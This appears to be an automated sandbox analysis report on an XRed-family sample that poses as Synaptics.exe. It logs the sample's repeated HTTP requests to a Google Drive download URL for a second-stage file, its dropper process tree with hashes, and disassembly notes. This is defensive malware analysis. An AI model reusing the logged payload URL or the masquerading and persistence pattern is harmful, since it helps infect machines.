144	192.168.2.6	50209	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6hUXE6iWQdHlf3onLIQXeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.6	50207	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:02 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4pppNRaW653HcOjt6jGv_q3TJGb_RmL9tJBKwwwMoVY-9tTZzRnz7Dq3DeR5SaCTrPWTAhpD4 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dTuf9lp9Fj9yVhoZ0vYvQw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:02 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:02 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 63 65 34 7a 58 53 76 76 55 71 4f 6d 30 34 77 34 6b 6f 4e 6a 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Oce4zXSvvUqOm04w4koNjw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:02 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	50208	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:02 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7x_5nyAiVjITLIDhqzhJqUO8LTKoUuAWlPix7K_dWYi4zVVrfCqDtgKs3SHMV96oKn Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-g7MUMyhOLoOJ_v68WZNxJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:02 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:02 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 6d 35 62 6d 6a 57 32 4c 55 4f 4b 61 43 67 4e 6a 6c 6e 61 43 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="1m5bmjW2LUOKaCgNjlnaCw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:02 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50206	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:01 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:02 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:02 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-gE_gg3Y8xpxRiKVVsIjOHw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50210	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:02 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:03 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:03 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2x84vr2WV7KFKAG4eUrqSw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50211	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:02 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:29:03 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4SVVuPGystgTqYrMW7YW5RTpms6PDOZlRb0Cd76JNwQ71Dsv8Vky83vozyh2FnCBTP Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:03 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-2owH3QfVdReI9ECDf6eWWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:03 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:03 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 71 67 56 30 36 45 32 47 73 76 4b 36 6f 7a 6f 43 45 51 36 73 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="lqgV06E2GsvK6ozoCEQ6sA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:03 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Target ID:	0
Start time:	14:28:04
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x400000
File size:	1'581'056 bytes
MD5 hash:	2756AFC3782B185D3C05DD880A8E8313
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000000.00000000.2129162896.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:28:05
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\._cache_file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\._cache_file.exe"
Imagebase:	0x400000
File size:	809'496 bytes
MD5 hash:	694F54BD227916B89FC3EB1DB53F0685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	14:28:05
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	5C4B663910D58434FF9FEFF5ADE763A9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_XRed, Description: Yara detected XRed, Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\ProgramData\Synaptics\Synaptics.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 95%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	14:28:06
Start date:	02/01/2025
Path:	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
Imagebase:	0x360000
File size:	53'161'064 bytes
MD5 hash:	4A871771235598812032C822E6F68F19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	14:28:18
Start date:	02/01/2025
Path:	C:\ProgramData\Synaptics\Synaptics.exe
Wow64 process (32bit):	true
Commandline:	"C:\ProgramData\Synaptics\Synaptics.exe"
Imagebase:	0x400000
File size:	771'584 bytes
MD5 hash:	5C4B663910D58434FF9FEFF5ADE763A9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	14:29:13
Start date:	02/01/2025
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 5484 -s 14564
Imagebase:	0x2b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	14:30:09
Start date:	02/01/2025
Path:	C:\Windows\splwow64.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\splwow64.exe 12288
Imagebase:	0x7ff64e960000
File size:	163'840 bytes
MD5 hash:	77DE7761B037061C7C112FD3C5B91E73
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	37

Executed Functions

Function 00402680 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 245
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadIconA.USER32 ref: 004028B5
LoadCursorA.USER32(00000000,00007F00), ref: 004028C1
GetStockObject.GDI32(00000000), ref: 004028CC
LoadIconA.USER32 ref: 004028E8
RegisterClassExA.USER32(?), ref: 004028F3
CreateWindowExA.USER32(00000000,OpenAL Installer,OpenAL Installer,00CF0000,80000000,80000000,00000258,00000190,00000000,00000000,?,00000000), ref: 00402927
ShowWindow.USER32(00000000,?,?,?,?,?,?,?,00000000,00007F00), ref: 0040293D
KiUserCallbackDispatcher.NTDLL(00000000), ref: 00402944
KiUserCallbackDispatcher.NTDLL(?,00000000,00000000,00000000), ref: 00402958
TranslateMessage.USER32(?), ref: 00402975
DispatchMessageA.USER32(?), ref: 0040297C

Strings

0, xrefs: 00402891
OpenAL Installer, xrefs: 004028E0, 00402916, 0040291B
/nu, xrefs: 00402736
/NU, xrefs: 00402770
-nu, xrefs: 00402782
/nU, xrefs: 0040274C
-NU, xrefs: 004027B8
-Nu, xrefs: 004027A6
-nU, xrefs: 00402794
/Nu, xrefs: 0040275E

Memory Dump Source

Source File: 00000002.00000002.2217506111.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2217486159.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217575414.000000000041E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217594047.0000000000422000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217613423.0000000000423000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.0000000000426000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A6000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004A8000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2217633121.00000000004C3000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_UNK_.jbxd

Similarity

API ID: Load$CallbackDispatcherIconMessageUserWindow$ClassCreateCursorDispatchObjectRegisterShowStockTranslate
String ID: -NU$-Nu$-nU$-nu$/NU$/Nu$/nU$/nu$0$OpenAL Installer
API String ID: 4201574153-3507343758
Opcode ID: 41749f656d175519030601c62e2272c00002c64cf10f0f1770884617bc953bfa
Instruction ID: 3842cecb54c5d0215257c5f6258966d39d5b2b4326797e0b408da2d609561e83
Opcode Fuzzy Hash: 41749f656d175519030601c62e2272c00002c64cf10f0f1770884617bc953bfa
